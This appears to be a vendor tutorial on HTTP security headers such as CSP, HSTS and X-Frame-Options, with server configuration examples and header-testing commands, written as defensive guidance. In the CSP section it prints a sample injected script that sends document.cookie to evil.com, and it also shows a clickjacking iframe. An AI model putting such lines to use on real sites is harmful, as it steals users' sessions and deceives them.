HTTP Security Headers

Learn what HTTP security headers are and how they protect websites against XSS, clickjacking, MIME sniffing, and downgrade attacks. Explore CSP, HSTS, X-Frame-Options, Referrer-Policy, Permissions-Policy, and implementation best practices.

JUN 3, 2026 • 11 min read

HTTP security headers are response headers that instruct browsers to enable built-in security protections. Headers like Content-Security-Policy, X-Frame-Options, and Strict-Transport-Security defend against XSS, clickjacking, and protocol downgrade attacks by enforcing security policies at the browser level.

How HTTP Security Headers Work

Security headers are sent by the server in HTTP responses before the page content. Browsers parse these headers and activate corresponding security mechanisms before rendering the page, creating a defensive layer that operates independently of application code.

┌──────────────────────────────────────────────────────────────────┐
│                  Security Header Flow                            │
│                                                                  │
│    │                                                             │
│    │ HTTP/1.1 200 OK                                             │
│    │ Content-Security-Policy: default-src 'self'                 │
│    │ X-Frame-Options: DENY                                       │
│    │ Strict-Transport-Security: max-age=31536000                 │
│    │ X-Content-Type-Options: nosniff                             │
│    │ Referrer-Policy: strict-origin-when-cross-origin            │
│    │ Permissions-Policy: geolocation=()                          │
│    │                                                             │
│    ▼                                                             │
│  Browser ──▶ Parse headers ──▶ Activate protections ──▶ Render   │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

Essential Security Headers

1. Content-Security-Policy (CSP)

Controls which resources the browser is allowed to load, preventing XSS and data injection attacks.

Directive	Purpose	Example
`default-src`	Fallback for other directives	`'self'`
`script-src`	Valid JavaScript sources	`'self' 'unsafe-inline'`
`style-src`	Valid CSS sources	`'self' 'unsafe-inline'`
`img-src`	Valid image sources	`'self' data: https:`
`connect-src`	Valid AJAX/WebSocket endpoints	`'self' api.example.com`
`font-src`	Valid font sources	`'self' fonts.gstatic.com`
`frame-src`	Valid iframe sources	`'self'`
`object-src`	Valid plugin sources	`'none'`

Basic CSP configuration:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'

CSP with nonce for inline scripts:

Content-Security-Policy: script-src 'self' 'nonce-abc123def456'

<script nonce="abc123def456">
  // This inline script is allowed
  console.log('Secure inline script');
</script>

CSP with hash:

Content-Security-Policy: script-src 'self' 'sha256-xyz123...'

Attack prevented:

<!-- Attacker injects this - BLOCKED by CSP -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

2. Strict-Transport-Security (HSTS)

Forces browsers to use HTTPS for all future requests to the domain, preventing protocol downgrade attacks.

Directive	Purpose	Example
`max-age`	Duration in seconds	`31536000` (1 year)
`includeSubDomains`	Apply to all subdomains	Optional
`preload`	Submit to browser preload lists	Optional

Basic HSTS:

Strict-Transport-Security: max-age=31536000

HSTS with subdomains and preload:

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

Attack prevented:

Without HSTS:
  User types: example.com
  Browser tries: http://example.com (vulnerable to MITM)
  Attacker intercepts, steals credentials

With HSTS:
  User types: example.com
  Browser forces: https://example.com (secure)
  Attacker cannot intercept

3. X-Frame-Options

Prevents the page from being embedded in iframes on other domains, blocking clickjacking attacks.

Value	Effect
`DENY`	Block all framing
`SAMEORIGIN`	Allow only same-origin framing
`ALLOW-FROM origin`	Allow specific origin (deprecated)

Recommended configuration:

X-Frame-Options: DENY

Or use CSP frame-ancestors (modern approach):

Content-Security-Policy: frame-ancestors 'none'

Attack prevented:

<!-- Attacker's site evil.com -->
<iframe src="https://bank.example.com/transfer" style="opacity: 0.1">
  <button style="position: absolute; top: 100px;">Win Prize!</button>
</iframe>
<!-- User clicks "Win Prize" but actually clicks bank transfer button -->
<!-- BLOCKED: Bank page cannot be framed on evil.com -->

4. X-Content-Type-Options

Prevents browsers from MIME-sniffing responses away from declared content-type, blocking malicious file uploads.

X-Content-Type-Options: nosniff

Attack prevented:

Without nosniff:
  1. Attacker uploads "image.jpg" containing JavaScript
  2. Server serves with Content-Type: image/jpeg
  3. Browser sniffs content, detects JavaScript
  4. Browser executes as script → XSS

With nosniff:
  1. Browser respects Content-Type: image/jpeg
  2. Refuses to execute as script
  3. Attack blocked

5. Referrer-Policy

Controls how much referrer information is sent with requests.

Value	Behavior
`no-referrer`	Never send referrer
`no-referrer-when-downgrade`	No referrer on HTTPS→HTTP
`origin`	Send only origin (not full URL)
`origin-when-cross-origin`	Full URL same-origin, origin cross-origin
`same-origin`	Referrer only for same-origin
`strict-origin`	Origin only, no referrer on downgrade
`strict-origin-when-cross-origin`	Recommended default

Recommended configuration:

Referrer-Policy: strict-origin-when-cross-origin

Example behavior:

User navigates from https://example.com/page1 to https://other.com

strict-origin-when-cross-origin:
  Referrer: https://example.com (origin only, not full path)

User navigates from https://example.com/page1 to https://example.com/page2

strict-origin-when-cross-origin:
  Referrer: https://example.com/page1 (full URL)

6. Permissions-Policy (formerly Feature-Policy)

Controls which browser features and APIs the page can use.

Common policies:

Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()

Allow specific origins:

Permissions-Policy: geolocation=(self "https://maps.example.com"), camera=()

Features available:

Feature	Controls
`geolocation`	Geolocation API
`microphone`	Microphone access
`camera`	Camera access
`payment`	Payment Request API
`usb`	WebUSB API
`magnetometer`	Magnetometer API
`gyroscope`	Gyroscope API
`accelerometer`	Accelerometer API
`fullscreen`	Fullscreen API
`picture-in-picture`	PiP mode
`sync-xhr`	Synchronous XMLHttpRequest

7. Cross-Origin Policies

Modern headers for controlling cross-origin resource sharing.

Cross-Origin-Opener-Policy (COOP):

Cross-Origin-Opener-Policy: same-origin

Isolates browsing context, prevents cross-origin window references.

Cross-Origin-Embedder-Policy (COEP):

Cross-Origin-Embedder-Policy: require-corp

Requires explicit permission for cross-origin resource loading.

Cross-Origin-Resource-Policy (CORP):

Cross-Origin-Resource-Policy: same-origin

Prevents cross-origin resource loading entirely.

Use case: Enable SharedArrayBuffer:

Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp

Security Headers Comparison

Header	Attack Prevented	Browser Support	Priority
Content-Security-Policy	XSS, injection	All modern	Critical
Strict-Transport-Security	MITM, downgrade	All modern	Critical
X-Frame-Options	Clickjacking	All	High
X-Content-Type-Options	MIME sniffing	All	High
Referrer-Policy	Data leakage	All modern	Medium
Permissions-Policy	Feature abuse	Modern browsers	Medium
Cross-Origin-*	Side-channel attacks	Modern browsers	Advanced

Implementation Examples

Nginx Configuration

server {
    listen 443 ssl http2;
    server_name example.com;

    # HSTS
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;

    # Content Security Policy
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com; connect-src 'self'; frame-ancestors 'none'; base-uri 'self'; form-action 'self'" always;

    # Frame protection
    add_header X-Frame-Options "DENY" always;

    # MIME sniffing protection
    add_header X-Content-Type-Options "nosniff" always;

    # Referrer policy
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # Permissions policy
    add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
}

Apache Configuration

<VirtualHost *:443>
    ServerName example.com

    # HSTS
    Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"

    # Content Security Policy
    Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'"

    # Frame protection
    Header always set X-Frame-Options "DENY"

    # MIME sniffing protection
    Header always set X-Content-Type-Options "nosniff"

    # Referrer policy
    Header always set Referrer-Policy "strict-origin-when-cross-origin"

    # Permissions policy
    Header always set Permissions-Policy "geolocation=(), microphone=(), camera=()"
</VirtualHost>

Express.js Middleware

const helmet = require('helmet');

app.use(helmet());

// Or configure individually
app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'unsafe-inline'", "https://cdn.example.com"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'"],
      fontSrc: ["'self'", "https://fonts.gstatic.com"],
      objectSrc: ["'none'"],
      frameAncestors: ["'none'"],
      baseUri: ["'self'"],
      formAction: ["'self'"]
    }
  })
);

app.use(helmet.hsts({
  maxAge: 63072000,
  includeSubDomains: true,
  preload: true
}));

app.use(helmet.frameguard({ action: 'deny' }));
app.use(helmet.noSniff());
app.use(helmet.referrerPolicy({ policy: 'strict-origin-when-cross-origin' }));

Next.js Configuration

const securityHeaders = [
  {
    key: 'Strict-Transport-Security',
    value: 'max-age=63072000; includeSubDomains; preload'
  },
  {
    key: 'Content-Security-Policy',
    value: "default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'"
  },
  {
    key: 'X-Frame-Options',
    value: 'DENY'
  },
  {
    key: 'X-Content-Type-Options',
    value: 'nosniff'
  },
  {
    key: 'Referrer-Policy',
    value: 'strict-origin-when-cross-origin'
  },
  {
    key: 'Permissions-Policy',
    value: 'geolocation=(), microphone=(), camera=()'
  }
];

module.exports = {
  async headers() {
    return [
      {
        source: '/:path*',
        headers: securityHeaders
      }
    ];
  }
};

Testing Security Headers

Online Tools

Tool	URL
Security Headers	securityheaders.com
Mozilla Observatory	observatory.mozilla.org
Hardenize	hardenize.com
Probely	probely.com

Command Line Testing

# Check headers with curl
curl -I https://example.com

# Check specific header
curl -sI https://example.com | grep -i "content-security-policy"

# Check all security headers
curl -sI https://example.com | grep -iE "(strict-transport|x-frame|x-content|referrer-policy|permissions-policy|content-security)"

JavaScript Testing

// Check if CSP is present
fetch(window.location.href, { method: 'HEAD' })
  .then(response => {
    const csp = response.headers.get('Content-Security-Policy');
    const hsts = response.headers.get('Strict-Transport-Security');
    const xfo = response.headers.get('X-Frame-Options');

    console.log('CSP:', csp || 'MISSING');
    console.log('HSTS:', hsts || 'MISSING');
    console.log('X-Frame-Options:', xfo || 'MISSING');
  });

Common Mistakes

Mistake	Impact	Fix
Missing CSP	XSS vulnerability	Implement strict CSP
CSP with `unsafe-inline` scripts	Reduced XSS protection	Use nonces or hashes
Short HSTS max-age	Protection expires after	Use 1 year minimum
Missing HSTS on subdomains	Subdomain downgrade attacks	Add `includeSubDomains`
Using `X-Frame-Options: ALLOW-FROM`	Deprecated, unreliable	Use `DENY` or CSP `frame-ancestors`
Overly permissive CSP	Limited protection	Use `'self'` instead of `*`
Missing on error pages	Headers not applied	Use `always` in Nginx/Apache

Header Priority Matrix

Risk Level	Headers Required
Critical	HSTS, CSP, X-Frame-Options, X-Content-Type-Options
High	Add Referrer-Policy, Permissions-Policy
Maximum	Add Cross-Origin-* headers, enforce strict CSP

When to Use

Essential for:

All public-facing websites
Applications handling authentication
Sites processing sensitive data
APIs consumed by browsers
Single-page applications

When to Adjust

CSP considerations:

SPAs may need 'unsafe-inline' for scripts (use nonces instead)
Third-party integrations require allowed domains
Development vs. production may differ

HSTS considerations:

Only enable after HTTPS is fully functional
Test with short max-age first (e.g., 300)
Preload is difficult to remove

FAQ

What is the difference between X-Frame-Options and CSP frame-ancestors? X-Frame-Options is older and only supports DENY or SAMEORIGIN. CSP frame-ancestors is more flexible, allowing specific origins. Use CSP for new projects, but keep both for compatibility.

Why does CSP use 'unsafe-inline' and is it safe? 'unsafe-inline' allows inline scripts/styles, which weakens XSS protection. Use nonces or hashes instead for production. Only use 'unsafe-inline' during migration or when nonces aren’t feasible.

How do I test CSP without breaking my site? Use Content-Security-Policy-Report-Only header to log violations without blocking:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri csp-reports-endpoint

Can security headers prevent all XSS attacks? No. CSP significantly reduces XSS risk but cannot prevent DOM-based XSS from same-origin scripts. Combine with output encoding and input validation.

Do security headers affect performance? Minimal impact. HSTS saves redirect time. CSP may block some resources, which is the intended behavior. Headers add ~500 bytes to responses.

Should I use HSTS preload? Only for production domains with stable HTTPS. Preload is difficult to reverse and requires submission to browser vendors. Test thoroughly before enabling.

How to Implement on Azion

Azion’s Edge Application allows configuring security headers globally at the edge:

Application → Rules Engine - Add security headers to all responses
Response Headers - Configure CSP, HSTS, X-Frame-Options in Rules
Functions - Dynamic CSP nonce generation for inline scripts

Example Rules Engine configuration:

Rule: Add Security Headers
  Condition: Always
  Behaviors:
    - Add Response Header: Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
    - Add Response Header: X-Frame-Options "DENY"
    - Add Response Header: X-Content-Type-Options "nosniff"
    - Add Response Header: Referrer-Policy "strict-origin-when-cross-origin"

See: Rules Engine | Functions

HTTP Security Headers

Learn what HTTP security headers are and how they protect websites against XSS, clickjacking, MIME sniffing, and downgrade attacks. Explore CSP, HSTS, X-Frame-Options, Referrer-Policy, Permissions-Policy, and implementation best practices.

Web Application Security

How HTTP Security Headers Work

Essential Security Headers

1. Content-Security-Policy (CSP)

2. Strict-Transport-Security (HSTS)

3. X-Frame-Options

4. X-Content-Type-Options

5. Referrer-Policy

6. Permissions-Policy (formerly Feature-Policy)

7. Cross-Origin Policies

Security Headers Comparison

Implementation Examples

Nginx Configuration

Apache Configuration

Express.js Middleware

Next.js Configuration

Testing Security Headers

Online Tools

Command Line Testing

JavaScript Testing

Common Mistakes

Header Priority Matrix

When to Use

When to Adjust

FAQ

How to Implement on Azion